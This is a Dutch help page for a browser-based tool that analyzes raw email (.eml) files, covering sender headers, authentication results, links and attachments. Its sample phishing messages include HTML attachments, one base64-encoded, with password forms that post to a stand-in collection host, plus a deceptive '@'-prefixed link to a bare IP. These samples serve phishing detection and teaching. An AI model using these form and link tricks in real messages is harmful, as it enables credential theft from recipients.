E-mail

EML-analysator

Draait lokaalNieuw

De tool zelf is in het Engels; op deze pagina wordt uitgelegd hoe deze werkt in uw taal.

Gebruik EML-analysator

Wat het doet

Sleep een .eml-bestand naar deze pagina of plak de brontekst van een bericht om de afzendergegevens, de ‘Received’-keten, links en bijlagen te controleren. Dit gebeurt allemaal in je browser.

Het draait volledig in je browser: er wordt niets van wat je invoert geüpload.

Hoe gebruik je EML-analysator

  1. Bekijk het bericht in zijn oorspronkelijke vorm. Sla de e-mail op als .eml of kopieer de brontekst: Gmail – ‘Origineel weergeven’, Outlook – ‘Brontekst van bericht weergeven’, Thunderbird of Apple Mail – ‘Brontekst weergeven’. .msg-bestanden van Outlook worden niet gelezen.
  2. Laad het. Sleep het .eml-bestand naar het vak of selecteer het (maximaal 50 MB), of plak de bron in het tekstveld (maximaal 5 MB) en klik op ‘Analyseren’.
  3. Lees de samenvatting. De bevindingen worden ingedeeld in gevarensignalen, waarschuwingen, opmerkingen en geslaagde controles. Op elke regel staat vermeld uit welke koptekst, link of bijlage deze afkomstig is.
  4. Bekijk de details. Onder het overzicht volgen de afzenderheaders, de domeinen die met het „From“-domein worden vergeleken, de authenticatieresultaten, de „Received“-keten, elke link en elke bijlage.
  5. Bekijk de indicatoren. Vink de gewenste indicatorsoorten aan en kopieer ze vervolgens in de ruwe vorm of in bewerkte vorm, download ze als een .txt-bestand of gebruik de functie ‘Verzenden naar’.

Voorbeeld

Een zorgvuldig opgesteld phishingbericht

Invoer
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
	by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
	dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
	by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
	by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"

--b1
Content-Type: text/html; charset=utf-8

<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64

PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
Uitvoer (vastgelegd op 2026-10-20)
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser

Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM	support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO	<billing[@]example[.]net>
RETURN-PATH	<bounce[@]mailer[.]example>
TO	<user[@]example[.]org>
SUBJECT	Action required: verify your account
DATE	Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID	<4471[@]mailer[.]example>
Domains compared with the From domain

From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.

HEADER	DOMAIN	COMPARED WITH FROM
Reply-To	example[.]net
…

Een weergavenaam die zich voordoet als support@example.com, ‘Reply-To’ en DKIM op andere domeinen, een DMARC-fout, een link waarvan de tekst www.example.com weergeeft maar die naar login.example.net leidt, en een bijlage ‘invoice.pdf.html’ met een wachtwoordformulier.

Wat er wordt gecontroleerd

SignaalWat dit betekent
Weergavenaam met een e-mailadresGevaar wanneer de naam één adres aangeeft, maar de daadwerkelijke afzender een ander adres heeft. E-mailapps geven vaak alleen de naam weer.
'Reply-To' op een ander domeinEen waarschuwing: je antwoord zou naar een andere organisatie gaan dan de afzender.
AuthenticatieresultatenEen DMARC-fout en een SPF-fout zijn alarmsignalen; een SPF-softfail en een DKIM-fout zijn waarschuwingen. Alleen het resultaat dat door je eigen provider wordt toegevoegd, telt.
Return-Path en DKIM d= domeinenDit wordt aangegeven wanneer ze afwijken van het ‘From’-domein. Dat is normaal bij bulkmaildiensten, maar DMARC vereist dat een van beide overeenkomt.
Ontvangen ketenHops worden weergegeven in volgorde van oudste naar nieuwste, inclusief vertragingen. Een tijdstempel dat eerder is dan dat van de vorige hop, een vertraging van meer dan een uur of een reverse DNS-vermelding met de status „mogelijk vervalst“ wordt gemarkeerd.
Linktekst en bestemmingEr is gevaar wanneer de zichtbare tekst naar het ene domein verwijst en de link naar een ander domein leidt, of wanneer tekst vóór het @-teken de echte host verbergt. Ook kale IP-adressen, Punycode, linkverkorters en omwikkelde links worden gemarkeerd.
BijlagenBestanden met dubbele extensies, bestanden die code uitvoeren of in een browser worden geopend, inhoud die niet overeenkomt met de extensie en trucs waarbij de leesrichting van rechts naar links wordt omgedraaid, worden gemarkeerd. Elk bestand krijgt een SHA-256-, SHA-1- en MD5-hash.
Formulieren en scripts in HTMLEen formulier met een wachtwoordveld in de hoofdtekst of een bijlage is een alarmsignaal. Scriptcode in een bijlage is een waarschuwing.

Nog meer voorbeelden

Een link die een IP-adres verbergt

Invoer
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html

<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>
Resultaat

1 waarschuwing: „1 link: tekst vóór ‘@’ wordt genegeerd: de werkelijke host is 203.0.113.7”, en 1 waarschuwing: „1 link: de link verwijst naar een naakt IP-adres”. In de tabel ‘Links’ staat het gezuiverde adres naast de tekst ‘Opslag upgraden’.

Een HTML-pagina die zich voordoet als een PDF

Invoer
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"

--b
Content-Type: text/plain

Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"

<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--
Resultaat

2 waarschuwingssignalen: de bijlage invoice.pdf "bevat een formulier met een wachtwoordveld", en de "inhoud is een HTML-document, geen .pdf". Op de bijlagekaart staat 'Inhoud: HTML-document' en drie hash-waarden; in de tabel 'Links' wordt de bestemming van het formulier vermeld met de vermelding "het formulier verzendt gegevens naar dit adres".

Veelgestelde vragen

Wat controleert de EML Analyzer?

Het decodeert de headers en elk MIME-onderdeel, vergelijkt de domeinen van ‘From’, ‘Reply-To’, ‘Return-Path’, DKIM d= en ‘Message-ID’, en leest de ‘Authentication-Results’. Het geeft ook een overzicht van de ‘Received’-hops met hun vertragingen, elke link met de zichtbare tekst ervan, en de SHA-256-, SHA-1- en MD5-waarden van elke bijlage.

Kan het aantonen dat een e-mail phishing is, of dat deze veilig is?

Nee. Het toont feiten en waarschuwingssignalen, geen definitief oordeel: legitieme bulkmail heeft vaak een ander Return-Path- of DKIM-domein, en DKIM-handtekeningen worden wel weergegeven, maar niet cryptografisch geverifieerd. Outlook .msg-bestanden worden niet ondersteund; sla het bericht eerst op als .eml.

Is de e-mail ergens geüpload?

Nee. Het bestand wordt in je browser gelezen en geparseerd, de HTML wordt als tekst weergegeven en nooit gerenderd, en er wordt niets via het netwerk verzonden. De knop ‘Verzenden naar’ geeft een resultaat door aan een andere toolpagina via de sessieopslag van je browser.

Welke „Authentication-Results“-header wordt als juist beschouwd?

De header die door je eigen e-mailsysteem is toegevoegd, herkenbaar aan de ‘Received’-keten en gemarkeerd met ‘toegevoegd door de server van de ontvanger’. Headers die lager in het bericht staan, kunnen door de afzender zijn geschreven; daarom wordt op de pagina aangegeven dat je alleen het resultaat van je provider moet vertrouwen.

Kan het een e-mail openen die als bijlage bij een andere e-mail is gevoegd?

Ja. Een bijgevoegd bericht wordt weergegeven met de bijbehorende hashes en een knop ‘Het bijgevoegde bericht analyseren’, waarmee je het in dezelfde weergave kunt openen. Met ‘Terug naar het bovenliggende bericht’ ga je terug.

Waarom ontbreken er bepaalde IP-adressen in de indicatoren?

Privé- en lokale adressen en tussenstappen binnen het eigen e-mailsysteem van de ontvanger worden weggelaten, omdat deze niet naar de servers van de afzender verwijzen. Ook e-mailadressen van ontvangers worden nooit vermeld.

Uitleg van termen

Onderzoek van PhishDestroy